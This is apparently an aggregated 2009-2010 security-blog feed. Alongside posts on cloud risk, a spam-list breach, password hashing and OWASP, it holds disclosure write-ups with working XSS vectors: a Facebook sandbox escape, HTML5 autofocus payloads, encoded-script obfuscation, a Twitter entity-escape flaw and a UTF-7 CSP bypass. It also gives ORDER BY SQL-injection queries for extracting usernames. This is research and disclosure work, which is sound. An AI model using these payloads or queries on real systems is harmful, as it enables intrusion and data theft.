Anyway things are changing and that is cool but onto my RegExp I think. Why the standards rant? Well the RegExp object was defined in the specification as a global object that can access the last result among other things of a regular expression literal. I have no idea why, the same result could be achieved using a reference to the regular expression like so:-
```
a=/a/;
a.test('a');
a.lastMatch;// This doesn't work
//RegExp.lastMatch this does work but shouldn't
```
So as you can see we can access the result of a expression even without reference to the variable. This is bad when we start mixing untrusted javascript in the future as we don’t want to expose other matches to different untrusted code. What new I hear you say? I posted about this before…well don’t you know that some browsers had the crazy idea of supporting regular expressions as a function, yeah true for some crazy reason rather than a regular expression being a regexp object it is a function! I would like for example the following code to return my user agent string please:-
```
javascript:alert(/.+/());
```
I’m not a crazy man honest Lets visit mmm apples and lets use Safari and type the string above in the url bar. What do we get? The user agent! If you look at the source code of the page, you’ll find that they use a external javascript file which runs a regexp match on the user agent because this is the lastMatch and we didn’t provide a string to the regexp in the function arguments it decides to return the lastMatch instead of the input we provide. Nice.

This works on Google Chrome too, you might get different results with Firefox if you have noscript installed because it runs RegExp matches on parts of the page.
The safety net

Posted: February 4th, 2010, 5:47am CST by Gareth Heyes

Tags: Security [edit]
I was thinking about how to prevent a user being exploited lately by whatever method. One thing most attacks have in common is that a user generally needs to initiate the attack by clicking on a email or web site link from a social network. There’s a obvious pattern here. Granted some attacks are conducted on the application itself an XSS worm or network worm for example but these aren’t as common as the majority of attacks that require some form of initiation.

My solution? The safety net! When your average joe clicks on a link from twitter, they usually want to watch a funny video or something. Using this to it’s advantage the safety net detects when this happens, it is aware of the context of a email for example or that this particular social network is quite popular. When a user clicks a link from that context the browser doesn’t need to send any cookie related information from anywhere whilst in the “Safety net”.

It acts as a sandbox for the user protecting them from bad stuff, the user should be aware that they’re in it and should not be able to browse like normal unless they open a new window in the traditional means. It could also work for phishing, prompting the user not to enter any confidential information or maybe disabling form input completely except for whitelisted sources. Corporations could configure their safety net to be more restrictive, a policy for disabling javascript for example or maybe only allowing Flash to play video and not execute actionscript.

If anyone thinks this idea isn’t too crazy and decides to implement it here are a couple of suggestions I’ll refer to the Safety net as SN:-

1. Whilst in the SN any executed javascript or other code should always remain in the SN.
2. New windows or frames should not be allowed in the SN.
3. The browser should look different in the SN to inform the user that they are in a more restrictive browsing experience.
4. Closing the SN should be the only way out of it and the user must be clear that is what is happening.
5. Form input could be restricted in the SN.
6. Session data or cookies should not be transferred from/to the SN.
7. ANY form of download should not be permitted in the SN.
8. Third party plugins should only be allowed in restricted mode for example a PDF file should have a restricted mode which many features are disabled like javascript. Only if this mode is enabled would the PDF be allowed to execute.
9. Full screen mode should be prevented.
10. In the SN it is equivalent of opening the browser for the first time.

Additionally I suggest a meta tag to identify social networks:-
```
<meta name="identify" content="Social Network" />
```

Dominic White's .tHE pRODUCT

Breach at iContact exposes my (and your) details to Spammers

Posted: February 2nd, 2010, 12:25am CST

Tags: Security [edit]

This week something special happened, something I'd been saving for the right person, something magical. Today, hackers took my private data. Everything's changed, I feel like a part of the world, connected to so many other people who have shared in this experience. Today, I'm a woman! (Ok, I may have gone a bit far with that last bit)

The skinny is that I use unique e-mail addresses for each service provider that I want to continue communicating with (for the ones I don't I use one-shot addresses). I noticed on the weekend that I was being deluged with pharmaceutical spam to three of these addresses, namely my Threadsy, Numbuzz & Share-it (via a product I bought there, ChatterBlocker) contacts. This lead me to tweet: "Either a security or ethics breach at @threadsy & @nimbuzz Getting Viagra spammed hard on the unique e-mail addresses I gave them."

Chatterblocker got back to me with the equivalent of "What? Wasn't me." Scott Kendall from Threadsy jumped into an investigation however and contacted me for more details. He also passed on results of his investigation to Nimbuzz, much kudos. Scott then informed me this morning that there has been a breach at iContact, evidently a shared service provider to the affected entities, resulting in the theft of customer contact details that must have been sold to spammers (or by a horizontally integrated crime crew). We're assured by iContact that only our e-mail addresses were stolen. However, we're not given any reason to believe that; unless the data is segmented somehow I don't see why an attacker wouldn't take the whole caboodle.

What concerns me is first that I wasn't even aware I had a relationship with iContact. A quick look of the websites of Threadsy and Nimbuzz don't make reference to them apart from the generic "we may share your data with business relevant third parties" in the privacy policy. Even if it is made explicit in the privacy policy, it doesn't mean you understand it, take this Facebook friendlist leak for example. Maybe if we had a "nutritional label for privacy" with disclosure of who the third parties were I would feel more in control of my data and more importantly the decisions I make.

Second, I'm not aware what data of mine had been given to iContact and what could potentially be at risk. Was it just my contact details, or did it include behavioural data too? Even if I can't do anything about it, I'd like to know what was breached with some solid factual basis. More importantly, I'd like to see what is shared with the third-party up front. I believe the small externality of writing that down in human readable and explicit form may encourage service providers to limit it.

Third, this was a consumer-lead breach-discovery. People with custom e-mail addresses tracked the source and informed iContact they had a breach. We see the same thing with credit card breaches, and with the likes of Google notifying other companies that the APT (do I get points for using it?) got them too. Is it any wonder those are the breaches we see frequently reported. IT shops usually aren't aware they've been breached until an affected third party tells them.

In conclusion, if you're getting spammed hard with pharmaceutical spam, this is probably why. There's nothing you can do about it, and there's probably a near infinite number of variations of your private (by which I mean data you don't want publicly exposed) data floating around at service providers you know nothing about that doesn't have the same canary-in-a-mine like properties that can make you (and hence the service provider) aware of the breach. Good luck.

The Spanner

Facebook sandbox escape

Posted: January 29th, 2010, 4:09am CST by Gareth Heyes

Tags: Security [edit]
My friend mario (he who never blogs) found XSS in facebook a couple of times. This tempted me to look at their sandbox, I didn’t register for an account but just tried breaking their FBML console.

They have their own FBML (Facebook markup language) which is just a basic HTML/CSS and a separate Javascript sandbox which restricts what you can execute and access by scoping everything to the app ID. I didn’t need to break their Javascript sandbox as breaking the FBML would allow me to execute any code and accessing the document source etc.

I thought the best way to beat the sandbox would be through css expressions as they use the IE7 compat header. I tested their console a couple of times and in 10 minutes found that they fail to parse CSS comments correctly. Next followed incorrect html encoded quotes, so I had the right tools to break out of there but I need to execute Javascript. They allowed stuff like xpression() but I tried double encoding expression in various ways but they seemed to catch it ok. Then I checked their charset which I presumed they use UTF-8 which they do I used my old trick of placing a UTF-8 BOM character before the “e” in expression and boom I had a bypass. The first one didn’t work because the quote was in the wrong place but I knew a little modification it would work and the final vector is below:-
```
<div style=background-image:url('http://&quot;);xss/**/:&#65279expression(alert(1));+&quot;')!important;></div>
```
Note the &#65278 needed to be the actual character in order to break the sandbox but the vector should execute as is anyway and it was easier to see this way. The !important part isn’t required but I just thought I’d assign priority The vector has now been fixed by Facebook.

Facebook vector

Justice League

Cloud Risks When You Become A Service Provider

Posted: January 18th, 2010, 12:45pm CST by scott

Tags: Software Security Cloud Computing Cloud [edit]

The European Network and Information Security Agency (ENISA) published their analysis of security risks from cloud computing. It’s a well thought through paper and it complements the work on cloud security guidance being written by the Cloud Security Alliance. What I like about both the ENISA report and the CSA Guidance (I’m an author of one of the sections and, yes, I like my eating my own cooking) is that both documents take the point of view that Cloud Computing is going to happen and that security is going to have to deal with it.

There are certainly security risk for applications migrating to the cloud. These risks involve both security concerns such as the confidentiality of the information stored in cloud services as well the legal implications concerning the liabilty if a system is unavailable. This focus of cloud computing risks on the consumers of cloud services by both of these organizations seems justified. After all, how many companies are going to be cloud service provides?

Well, that’s what I thought.

Now, I’m thinking that if Cloud Computing really catches on (beyond everyone writing about it and attaching the word “Cloud” to any product or service that’s connected to a network) then I suspect that most “consumers” of Cloud Computing will want to be service providers too.

What caused this change in thinking was the article I read about how Larry Ellison “created” the network computer back in the 90s. The network computer really is what we call Cloud Computing today. Combine that with how SOAs evolve within an enterprise. They start as disparate web services, but then eventually the business units provide services that are their key data to the organization. With Cloud Computing it will be your business (not just your business unit) providing services (data) to other businesses.

The question is how you’re going to do that. I suspect that youll be exposing some kind of PaaS environment that your partners will write application-lettes in. These application-lettes are going to be doing the combining of data from your two systems. On which PaaS the application-lette runs is going to depend on which the amount and sensitivity of the data.

AI had a second coming in the 80s, aren’t we ready for a second coming of “The Internet is the Computer” in the 10s?

Technorati Tags: software security, cloud computing
Top Ten Web Hacking Techniques of 2009

Posted: January 14th, 2010, 4:06pm CST by Guest

Tags: Software Security [edit]
This is a guest post by Cigital consultant Romain Gaucher.

Every year since 2006, Jeremiah Grossman has organized a contest to recognize the Top Ten Hacking Techniques of the year. This year, I had the privilege of being one of the security professionals asked to judge along with Rich Mogull, Dinis Cruz, Chris Hoff, HD Moore, Billy Rios, Dan Kaminsky, Steven Christey, Jeff Forristal, and Michal Zalewski.

The scoring process was intentionally simple: given the list of 82 hacking techniques or selected exploits, we each nominated our top 15, in order. Appearing in a judge’s number one position would score the technique 15 points. Being ranked as a judge’s number two scored 14 points and so on. The techniques which received the most total points from all judges became the top ten.

Judges were given broad latitude in making their selections, but candidate techniques were judged primarily on pervasiveness, impact, novelty and coolness. I know a few judges who used a more formal evaluation methodologies than I did, rating each candidate individually and then sorting them. I didn’t.

Since I was already familiar with many of the candidate techniques listed, I didn’t have to go through them again and I was able to focus on the techniques I didn’t have time to follow or to dive into during the year.

After a few hours, I had a reasonable knowledge about of all the candidates. In order to get a more manageable list of candidates, I decided to do a first pass and create a list of techniques that I believed must be in a top 15. I came up with a list of about 30 finalists.
With this smaller list, I went back to the papers and blog posts to rate the techniques. I decided to combine some of the factors that Jeremiah sent us to simplify my evaluation and because I thought it suited correctly the goal of this contest. I used the Risk and the Originality of the techniques to rate them:
- Risk: pervasiveness and impact
- Originality: novelty and coolness
I considered those two factors to have the same weight. Even if in my daily job the risk represents the most important part of the evaluation, for the contest, the originality is a very important part.

The list of top ten winners can be found in Jeremiah’s blog post. Some of the candidate techniques were de facto winners because they would have such an impact and coolness. This is especially true for the research from Alexander Sotirov et al. on the Rogue CA certificate: totally elite. I’m sure most of the readers will remember the buzz of this attack last year at the 25c3 (Chaos Communication Congress). They started by teasing everyone and then, explained how, with a cluster of 200 PlayStation3, they were able to create a rogue certificate: way to go for a perfect man-in-the-middle or phishing attack!

With a different scoring vector (lower originality, but higher risk due to high likelihood than #1), we have our number two, the research from Luca Carettoni and Stefano Di Paola which is a the newly-named HTTP parameter pollution (HPP). This attack exploits HTTP request parameters (query string, POST variables, etc.) parsing discrepancies between different layers of the application (input/output handling, encoding issues) or server-side application stack (front-end/back-end, WAF, etc.). Even if this attack doesn’t look über-cool, it can facilitate a lot other type of injection-based attacks (XSS, SQLi, etc.) by, for example, hiding the payload from one of the defense layer (WAF for example).

I am a bit disappointed not to see any PDF related attacks in the final list (yes, it was in my top 15), because it was such a big deal in 2009. Most of those attacks come from the JavaScript support. For example, the PDF Silent HTTP Form Repurposing Attacks paper explains how an attacker can create a malicious PDF file executing JavaScript in the same domain. This is a great follow-on work to what Didier Stevens and others did on the PDF format. Some others techniques from my list didn’t make the final top ten such as the Socket Capable Browser Plugins Results in Transparent Proxy Abuse from Robert Auger. I find them both very interesting in reflecting discrepancies between server-side application stack and new client-side attack surfaces.

But anyway, this was a great year with many different attacks, some new, some really elite, others are improvements of already known techniques. Attacks are targeting different flavors of web security: cryptography, protocol design and abuse and software misbehavior. Research into techniques like these allows us to better understand the security problems we face right now and catalyzes joint work between vendors and the security community.

Finally, I’d like to congratulate my Cigital colleague, David Lindsay who, along with Eduardo Vela, came in at number 8 with cross-site scripting research that yielded surprising and sophisticated ways to evade filters and web application firewall (WAF) rules.

Dominic White's .tHE pRODUCT

Brain Krebs Leaves The Washington Post

Posted: December 30th, 2009, 12:48am CST

Tags: Security [edit]

Brian Krebs, author of SecurityFix and one of the very few mainstream infosec journalists, is pulling a McLeodd¹ and leaving the Washington Post to go on his own. He will be reporting from Krebs on Security from today.

Apart from the coverage, Brian has also got involved in or instigated responses to some threats, and I hope that fewer editorial restrictions allow him to do and say more.

In truth, I only really like Brian because he's linked, to me before, encouraging up to 1.5 people to read the abstract on my thesis ;), but more seriously providing data and inspiration to me and several other researchers.

Good luck Brian
Footnote 1: I probably shouldn't mix my ZA and Infosec references, but Duncan McLeodd left the Financial Mail to form independent tech news startup TechCentral.
"Up to Date" isn't the same as "Knowledgeable"

Posted: December 13th, 2009, 11:39pm CST

Tags: Security [edit]

Eugene Spafford has a warning for us in his latest entry that I thought worth remembering:

Generally, hackers who specialize in the latest attacks dismiss anyone not versed in their tools as ignorant, so I have heard this kind of criticism before. It is still the case that the "elite" hackers who specialize in the latest penetration tools think that they are the most informed about all things security. Sadly, some decision-makers believe this too, much to their later regret, usually because they depend on penetration analysis as their primary security mechanism.

In many ways, I worry that mechanisms like RSS & twitter and the associated behaviour help us to be up to date, but not knowledgeable, and that the implied arrogance of being up to date stops us from realising it.

The Spanner

HTML5 new XSS vectors

Posted: December 6th, 2009, 6:04am CST by Gareth Heyes

Tags: Security [edit]
So I posted some new XSS vectors on twitter and I thought I’d share them on the blog in case anyone missed them. Safari, Chrome and Opera all support these now We have a brand new way of auto executing XSS.

Normally when you find a XSS hole within a input element that has filtered < and > you can’t exploit it automatically without using CSS expressions. The injection looks something like:-
```
<input type="text" USER_INPUT>
```
Here you can do style=xss:expression(alert(1)) or moz-binding etc. but it only works on a limited number of browsers. HTML5 however lets us execute like expressions but without css styles. For example:-
```
<input type="text" AUTOFOCUS onfocus=alert(1)>
```
We use the “autofocus” feature to focus our element and then the onfocus event to execute our XSS. This works with a plethora (I like that word) of tags. Any form based element it seems you can use this method:-
```
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
```

Dominic White's .tHE pRODUCT

Efficient extraction of data using binary search and ordering information

Posted: December 1st, 2009, 12:50am CST

Tags: Security [edit]
I'm quite excited and honoured to host a guest entry from Yusuf Moosa Motara covering his talk at ZaCon (a video of which can be found here, and the slides here).

Caveat
I make no claims about the novelty of this technique. For all I know, it's been widely known for some time, but I could find no record of it. The target server is SQL Server in this text, but the technique is applicable to other implementations. If nobody else bothers to claim it, I hereby name the technique after myself: nothing impresses random chicks quite as much as having an obscure and totally-irrelevant-to-their-lives technique named after oneself, after all.

On second thought -- call it whatever you want to ;).
Background
Some injection points are worse candidates than others. A difficult injection point is found in the ORDER BY clause of a SQL statement, since there can be no further statement after an ORDER BY and our only real "in" is the ability to put in expressions, though those expressions may do nothing more than change the resulting order. Such a change of ordering does provide us with a 1-bit channel to slip data along. We could do so a simple manner:
```
[...] ORDER BY case when (select top 1 substring(username,1,1) from
users)=<91>a<92> then ID else Address end
```
... but a quick examination will tell us that the time taken to extract data with this technique is around 0.5*/n/*/m/, where /n/ is the length of the data, and /m/ is the size of the alphabet, assuming that (on average) the correct character is found after half the search-space has been traversed. Reordering the character test order in accordance with the frequencies that we expect to find in the text can yield better results, but not results that are significantly better.
A better way
We can do more than directly compare letters: we can get ordering information out. This allows us to use a binary search algorithm to find the correct text efficiently. In other words, we can use a query similar to:
```
[...] ORDER BY case when (select top 1 cast(username as varbinary(255)) from
users where username not in ('')) __OP__ cast('__CANDIDATE__' as varbinary(255))
then ID else Address end
```
The subselect provides us with a way to get the first row of data. After getting the column data for that row, we can modify the "not in" clause to include the retrieved data, thus shifting us to the next row. __OP__ is either ">" or "<", depending on whether we would like to search the upper or lower space. __CANDIDATE__ is the string that we are comparing against.

Obtaining __CANDIDATE__ is a simple enough matter of converting text to a number that reflect the ordering of the text. Unfortunately, SQL makes things difficult by supporting concepts like collation; therefore, the lexicographic ordering of the text in your language may not align with the ordering of the text in SQL. We can solve this problem by using the same injection point and asking the SQL server to order our alphabet for us. For a ~90-character alphabet, this takes ~300 queries. We will make up for this setup cost within the first two or three records.

SQL Server doesn't play well with strings. If there are trailing spaces, they aren't counted towards the string length; if there are apostrophes, comparisons become more interesting (for example, "mooo" < "moo''a", but "mooo" > "moo''z" [ed: note single and double apostrophes look similar in that example]). To get around both of these (and a few other string-related idiocies), we cast to binary and compare as byte-sequences.

A binary search searches a range, and we should set our initial range. A lower bound of 0 will do, and the upper bound should be set to the largest /n/-valued sequence, where /n/ is the length of the string to be retrieved, as determined by a preliminary length-seeking binary search using the same injection point.

The alphabet used must cover all of the possible letters. Failure to do this will cause the binary search to fail; more importantly, it will make it difficult to proceed to the next record unless one can identify that record by ROWID or some other method.
Web-specific Complications
Certain sequences, such as "e<zmo~~" or "Lor,w&#$Jo" get detected, incorrectly, by WAFs as being XSS vectors. This illustrates the stupidity of blacklist-based security precautions. The only workaround I can think of at present is to remove the "<" and "&"/"#" characters from the alphabet, and ensure that we skip past sequences that contain such things by modifying our SQL injection query.

As the number of retrieved items grows, the length of the query grows as well. Therefore, this technique is of limited use when faced with a GET injection. A solution to this might be to use adaptive queries: when the strings "Alice", "Alison", "Albert", "Alyssa", and "Bart" have been retrieved, it might be possible to change the seen strings to "Al%" and "Bart", thus reducing the length of the query. I leave this extension as an exercise to the reader.
Pay-off
A binary search finds its target in log2(n)+1 probes, at worst. In real-world terms, this leads to an average of a 6x increase in efficiency (and hence speed) for pulling out data, as compared to the simplistic method of exploiting the ordering side-channel: basically, the difference between waiting 10 minutes for a long text blob or 1 hour for the same blob.
Notes
Though we apply the technique to free-form text extraction here, it would be trivial to apply it to the extraction of GUIDs, or numeric data. Numeric data extraction would be a particularly interesting exercise, since a binary search works by continually narrowing the search-space. It might be sufficient to get a "ballpark" figure in some cases, and thus obtain better than O(log2(n)) efficiency.

I have created a small proof-of-concept, consisting of a toy ASP.Net application that is susceptible to injection, a SQL Server database, and the extraction tool coded in Python3. If the code differs from the explanatory text (which is the text that you are reading right now, of course!), please place your trust in the code.
Further work
There are a number of optimisations that could be done to the existing proof-of-concept. More importantly, the idea of using remote comparison functions to efficiently draw out previously-inaccessible data via binary search is an intriguing one, and one which deserves more attention. Andrew MacPherson has pointed out to me that a similar technique is used by the Metasploit framework when trying to determine the EIP in some cases, and I am grateful for the knowledge; I am sure that there are even more applications for the idea just waiting to be found!

Justice League

Wait, my mom’s driving innovation–not me?

Posted: November 23rd, 2009, 9:28am CST by jOHN

Tags: Software Security [edit]

A short one ‘real quick’:

I get simultaneously nostalgic and aspirational as holidays and year-end planning bear down on me. Wondering how to innovate and how to get that innovation into use takes a fair amount of my attention. I wrote a blog post in ‘07 on how to get some of that innovation stuff in your own security group.

McGraw collaborated with Routh recently on an article (“Lifestyle Hackers”) for CSO Online. While the article focuses on what a CSO must do to more intelligently deal with social-media savvy employees, it also elucidates what we all know implicitly: consumers and those building sites to cater to them directly are driving innovation faster than the big guys (who used to do the bulk of this driving out of their research labs) are.

This was driven home by a recent “Daily Chart” from the Economist. Microsoft is #2 in spend. I might argue we’ve gotten a lot of value as an industry out of their security initiative too. CAS has always seemed dead-on-arrival to me but, I don’t see progress as a result of research that’s taking us in a fundamentally different direction in Software Security (look at their stated areas of interest for both “Security and Privacy” and “Software Development”). IBM made the list too, but is last (see my last post, in which I discuss my impression of how quickly IBM will adopt innovations like O2).

Other than IBM and Microsoft, you’ll not find software companies on the chart at all. And, while communities might bring together experts and provide progress, I fear it will be all-too incremental. Security is plainly in the hands of consumers. Yet, as the bevy of Facebook security/privacy concerns indicate, their demands too leave us well short of the goal line.

The Spanner

Ping pong obfuscation

Posted: November 23rd, 2009, 7:45am CST by Gareth Heyes

Tags: Security [edit]
This is a fun post about a feature I found in IE that allows you to do some crazy obfuscation. I’ll start off with some simple examples:-
```
<img src=1 language=vbs onerror=msgbox+1>
<img src=1 language=vbscript onerror=msgbox+1>
<img src=1 onerror=vbs:msgbox+1>
```
So here we’re not obfuscating but I’m showing how IE accepts the language attribute and a labelled vbs statement to change the event to allow vbscript instead of javascript. Ok so lets play a little ping pong:-
```
execScript("MsgBox 1","vbscript"); //executes vbs from js
execScript('execScript "alert(1)","javascript"',"vbscript");
```
Look how we can call vbscript from javascript by using execScript and then look how we can execute from javascript to vbscript and then back to javascript again! So now we’re playing some ping pong but how can we make our little game hidden?
```
<a href=# language="JScript.Encode" onclick="#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@">test</a>
```
Wait what? Yeah IE supports jscript.encode within the language attribute. Remember jscript.encode? ah the old ones are the best That’s it right? Well….
```
<iframe onload=VBScript.Encode:#@~^CAAAAA==ko$K6,FoQIAAA==^#~@>
```
Yeah you can use VBScript.Encode and Javascript.Encode as labels within an event! You might be going WTF right now and I can understand it because I did exactly the same but it would be silly to finish now without finishing our game of ping pong. How many rallies shall I do? I think 3 should be enough….
```
<body onload="jscript.encode:#@~^TAAAAA==nX+^UmMkwD`r:@$?73hzb)){'Z%QRG=2&#x9;V7WB qdG\:2jbebz)'{7:=@$J~E%km.kaOc+U1W9+J*CRcAAA==^#~@">
```
Ok so I go to:-
jscript->jscript.encode->jscript.encode->jscript.encode->hex entities
Twitter misidentifying context

Posted: November 23rd, 2009, 6:55am CST by Gareth Heyes

Tags: Security [edit]
This is an important post for me, not because it’s ground breaking but people don’t seem to get this when using data in certain context. If you are a dev please read this and read it until you understand it because if you misidentify context you fail and you fail pretty badly.

I reported this to twitter about two months ago, they responded and fixed four xss holes but two remain and they didn’t contact me to test the fix.

When you are including user input inside a javascript event within a string what do you have to escape? If you answered: ‘”
You are wrong. Twitter is wrong.

Take the following example:-
```
<a href=# onclick="x= 'USERINPUT' ">test</a>
```
So you can place your input within the single quotes and there is a place on twitter that does this:-
twitterTheseResults(’ "’xss’,'/search?q=&a…

Here they are escaping " with " and ‘ with ’. But that isn’t enough! Why? Because it’s a javascript onclick event! Inside an event you have to escape entities! All of them!

Consider the following vector:-
',alert(1),'

No single quotes but ' still acts as one. Please look at this test and make sure you understand how it works:-
[tinyurl.com]

Don’t forget other entities work too ' ' &#39 &#x27 so make sure you escape all characters within a js event like so:-
```
<a href="#" onclick="x='USERINPUTx27x22x3cx3e'">test</a>
```
and Twitter PLEASE fix this and related holes c’mon it’s been two months, it’s not rocket science to fix.

' works on non-IE browsers but the other entities mentioned work fine on IE too.
Bypassing CSP for fun, no profit

Posted: November 23rd, 2009, 2:45am CST by Gareth Heyes

Tags: Security [edit]
I had fun at Confidence 2.0 CON, I’m gonna blog about the stuff I was holding back now

So I figured how to bypass CSP with UTF-7 and JSON. Basically any site with a JSON feed that can be manipulated by an attacker (reflective or persistent) can be injected with even in a correctly escaped JSON feed.

Utf-7 can be fully encoded meaning that you can conceal string characters and others. ‘ABC’ becomes +ACcAQQBCAEMAJw-. So if we look at a fictional JSON feed such as:-
[{'friend':'something',email:'something'} ]

If we can influence the “something” parts then we inject the feed with our data to bypass CSP:-
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJw
BNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdw
BpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAb
wBiACcAOgAnAGQAbwBuAGU-'}]

This is what the code looks like when decoded:-
[{'friend':'luke','email':''}];alert(’May the force be with you’);[{'job':'done'}]

We then inject the data by referencing it using a script tag and a charset:-
```
"><script src="http://some.website/test.json" charset="utf-7"></script>
```
This successfully executes in CSP bypasing it’s restrictions because the code comes from the domain itself and doesn’t use in-line or attribute based XSS.

As always as demo is available here:-
CSP bypass

Dominic White's .tHE pRODUCT

ZaCon - Information Security for the Rest of Us

Posted: November 19th, 2009, 1:50am CST

Tags: Security [edit]

Update: Haroon's talk "Why ZaCon" at the con provides more of an overview. Including some aspects I didn't consider.

Our first South Africa fledgling unconference-like security conference, ZaCon, takes place this Saturday (21 Nov). Our intention was to have something which fits in the gap between corporate conferences like the ITWeb security summit and academic conferences like ISSA. The former is huge and can afford to bring over some of the big names, but also has plenty of "paid for" opinions and a sometimes less meaty content. The latter is peer-reviewed and requires more than a slide deck and a grin to present at, but also sometimes values theory over pragmatism and places a large burden on people already holding down a job.

And so ZaCon was born, a security conference both "for security geeks by security geeks" and open to new entrants to the industry. It's on a Saturday, on purpose, you don't get a free day off work. It's also non-aligned, giving speakers the freedom to say what they want, how they want, and also preventing us from having to push agendas in return for money, or people attending so they can be seen in the right places.

None of this is a middle finger to ITWeb, ISSA, vendors, security companies etc. It serves to outline what we felt was a need, and how we plan on meeting it. We will continue to contribute and support the other conferences, and most of us work for security companies anyway.

The CFP had a great response, we've managed to secure a killer venue (directions) thanks to the University of Johannesburg and their Academy for Information Technology, we're getting more coverage than we deserve from DiscussIT, should have full video/audio+slides to distribute afterwards and even have free wifi courtesy of IS AlwaysOn Hotspots.

All in all, apart from the expected teething problems, I'm expecting an awesome day of security geekery. If that interests you, then details are available at the site. Please remember to RSVP to rsvp-@-zacon-org-za if you'll be attending. If you can't make it, follow the zacon09 twitter feed (or #zacon hashtag) for coverage and I'll see if I can get a liveblog or two in. We're hoping to publish full Defcon-style video of each talk too.

Justice League

Machinations Over O2

Posted: November 17th, 2009, 12:25pm CST by jOHN

Tags: Software Security [edit]

As I drove Dinis to the final day of AppSecDC he (as often is the case) had his laptop open. We traded ideas regarding the future of O2, support, and other broader issues about the future of software security. As we discussed or machinated over word choice, I found myself in near-complete agreement with him: not an unusual circumstance.

In his post RSnake muses:

I’ll be curious to see if any big companies step up to the plate here and takes ownership. It’s a bit unclear about Dinis’ fate within IBM – I think he’s a bit on the fence.

I characterize O2 as a platform that facilitates a highly-experienced or expert-reviewer in understanding software. While Dinis has taken a few runs at automation and work-flow support (before with his WCF stuff and now with his XRules) I think the principal benefit of his current state of development remains unshackling the reviewer from limitations of a SA tool often in terms of data-flow across language boundaries and through framework / generated code. So important is this concept to myself and Cigital that we’ve built our own framework which we call ‘The Factory‘. We use it for a similar purpose as one might use O2. As Dinis consistently reminds me though it is not open source. And, yes, there’s a lot of other wicked-cool stuff in O2 (the Visual Studio debugger integration is my favorite).

Cigital believes in O2 enough that we’ve conducted hands-on O2 training with a bunch of our guys even after Ounce training. I personally believe in the technical value to code reviewers of O2 enough that I put a modicum of code towards it when Dinis needed it in a pinch. I’ve also agreed to build and publish O2 training for the masses; ‘training that makes it seem less scary.

Taking a step back for a second, there’s a large leap between where the world is and the world Dinis describes in his recent blog post. Unfortunately, I see a lot of organizations doing software assessment driven by (and in pursuit of) compliance only.

So, it doesn’t shock me that IBM hasn’t dived head-first into the O2 pool, regardless of the opportunity it may represent. I believe they will fully embrace it when the market can support it. In the meantime, O2 can continue to find hospitality and support in the welcome arms of assessment experts like Cigital.

Dominic White's .tHE pRODUCT

SuperGenPass

Posted: November 17th, 2009, 12:20pm CST

Tags: Security [edit]
As someone who uses a lot of web apps, I run into the problem of trying to remember multiple passwords. Most people resolve this by just using the same password across all the sites. However, as numerous, examples, have, demonstrated, that's not a good idea. The knee-jerk counter is to use a different password (or groups of passwords) across the sites, but that becomes difficult to remember. If you want the quick solution I'm proposing then check out SuperGenPass (or my customised version). The security geek details follow after the jump.

Some of my colleagues use password databases such as KeyPassX, or the browser's "remember password" feature. These solutions are significantly better than using the same password across all sites, but suffer from a few problems:
- You have all your passwords written down somewhere - at some point you may not be the only one looking at this list
- That list isn't always protected - e.g. using Firefox's "remember password" feature without a master password could expose your password on physical theft of the device
- Portability - if you aren't at your machine you can't log in. KeePassX is quite portable, but then ends up making more copies of the password list.
None of these are killers, but they aren't ideal. This is where SuperGenPass comes in. SuperGenPass hashes a password with the domain to make a unique password per-site, meaning that a compromise or malicious admin on one site won't give them the password for another site. The main advantage is that there's no database or list of passwords lying around that could be compromised and you only need remember one password. If you wear lots of tinfoil like me, you can remember groups of passwords e.g. critical, important, arb sites. It's ridiculously portable with a bookmarklet (don't use this, see below), data URI, straight JavaScript, Python (alternative) and J2MEE implementations.

There are a few potential problems that need to be considered (they all have solutions) however:
- The bookmarklet runs in the same context as the website you're logging into. This means javascript on the site (or POST'ed/GET'ed information) has access to it. This allows a malicious or hacked site to get hold of your master password. There's a better explanation here, and I put up a demo here. So DO NO USE THE BOOKMARKLET. Any of the other versions are good enough, but are vulnerable to shoulder surfing (something the bookmarklet is not vulnerable to).
- The algorithm doesn't include za.net and za.org as top level domains. This means that all your passwords for the approximately 30k domains hosted under these could have the same password. As it is unlikely that the majority of internet users use more than one web-app in these domains, this isn't a huge risk. Although, it does technically make finding the correct MD5 collision slightly easier. When I notified the developers of the bug, the response was that a change in the algorithm would affect users with existing passwords on these sites and hence they would not change it. So I made my own, more on that later.
- The default password length is 10. That's fine, but given research like this, and that setting the default to 12 costs the user nothing and potentially buys them $7,700,102,463 extra protection per password, that sounds like a good deal.
- MD5 - this isn't a problem. The knee jerk I hear from some security people is that is uses MD5 and that's broken. However, the vulnerability in MD5 allows other values to be found that hash to the same value (a collision). This does not let you work out the reverse i.e. the original value (master password in this case) from a single hash however. So we're safe here (I think, crypto nerds got any comments?)
In light of the above, I've made my own customised version of sgp. It includes customised versions of all but the J2MEE version (which is partially customised by it's author to include za.net/org already). My recommendation is to use the Data URI as a bookmark loaded in your sidebar (in Firefox). While it is slightly slower logging in to one site because you will need to type the domain, it is faster when logging in to many because you can just change the domain without re-entering your master password. It is vulnerable to shoulder surfing however.

In summary. SuperGenPass provides a convenient way to use different passwords across different sites. There are some potential problems and improvements, to which I recommend using my customised version, with the preferred method being the Data URI as a Bookmark loaded in your sidebar.

Thanks to Russell for pointing SGP out in the first place, and Michael for the Python and J2MEE version and the changes.

Justice League

Vendors in an Open-Source Security Community

Posted: November 12th, 2009, 2:05pm CST by jOHN

Tags: Software Security [edit]
I’ve been thinking about this for a while and the tone of this year’s OWASP Global Summit has brought the topic to the forefront. OWASP, as many of you know, is a fiercely open source community. At times, participants defend its open and freeness a bit aggressively for my taste. Sure, open and free are founding principals of the community. I think these principals are essential, valuable, and worth protecting. However, I also believe the community-more broadly-would benefit from an evolved perspective.

Specifically, I believe OWASP should welcome branded security vendors and named individual practitioners into its arms openly. There are three reasons and as I outline them, think to yourself about what vendors like RedHat did for the Linux community.

First – Commercial entities can provide professional and enterprise-level support for OWASP projects to willing commercial entities. Code-based projects (like AppSensor, ESAPI, or other) are easier to imagine the impact of than others.

Second – Large entities seeking to participate within OWASP need assurances which the OWASP community hasn’t itself provided. Things I’ve heard loud-and-clear include:
1. Anonymous participation for industry players working for sensitive organizations
